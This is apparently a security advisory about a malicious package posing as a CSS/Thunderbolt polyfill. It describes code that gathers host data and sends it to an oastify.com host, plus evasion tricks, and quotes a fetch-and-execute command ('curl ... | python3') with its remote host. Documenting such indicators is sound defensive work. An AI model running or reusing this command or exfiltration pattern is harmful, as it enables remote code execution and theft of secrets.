GCVE-110-OSM-2026-13283

thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync("curl -L https://appsecc.com/py | python3")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic. ENTRY index.js (main: index.js) DESTINATION - 4 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in thunderboltRegistry.js: "oastify.com" - Data Encoding for Exfiltration in thunderboltRegistry.js: "encodeURIComponent(site)).catch(function(){}); } catch(e" - Curl/Wget Pipe to Shell in thunderboltRegistry.js: "curl -L https://appsecc.com/py | python" - System Information Collection in thunderboltRegistry.js: "process.platform" - Suspicious Domain in thunderboltRegistry.js: "oastify.com" ADDITIONAL FINDINGS - Shell Command Execution in thunderboltRegistry.js: "require("child_process")" PAYLOAD FILES thunderboltRegistry.js